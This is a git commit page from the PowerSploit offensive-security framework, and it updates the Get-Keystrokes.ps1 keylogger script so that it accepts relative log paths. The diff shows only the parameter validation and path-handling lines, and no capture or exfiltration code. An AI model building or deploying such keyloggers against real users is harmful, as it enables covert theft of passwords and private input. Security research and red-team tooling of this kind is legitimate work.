diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-08-17 16:56:11 -0400 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-08-17 16:56:11 -0400 |
commit | 05d335512a441437c301bd784bf02f78030caf2f (patch) | |
tree | 0d649908c1ef003657b1ee823f11a7de95ede261 | |
parent | d67e71bf2d87dfce4481eeeaffd871c4173f091c (diff) | |
download | PowerSploit-05d335512a441437c301bd784bf02f78030caf2f.tar.gz PowerSploit-05d335512a441437c301bd784bf02f78030caf2f.zip |
Get-Keystrokes now accepts relative paths
-rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 4 |
1 files changed, 3 insertions, 1 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 0698d9d..48b7df6 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -33,7 +33,7 @@ #> [CmdletBinding()] Param ( [Parameter(Position = 0)] - [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] [String] $LogPath = "$($Env:TEMP)\key.log", @@ -42,6 +42,8 @@ $CollectionInterval ) + $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) + Write-Verbose "Logging keystrokes to $LogPath" $Initilizer = { |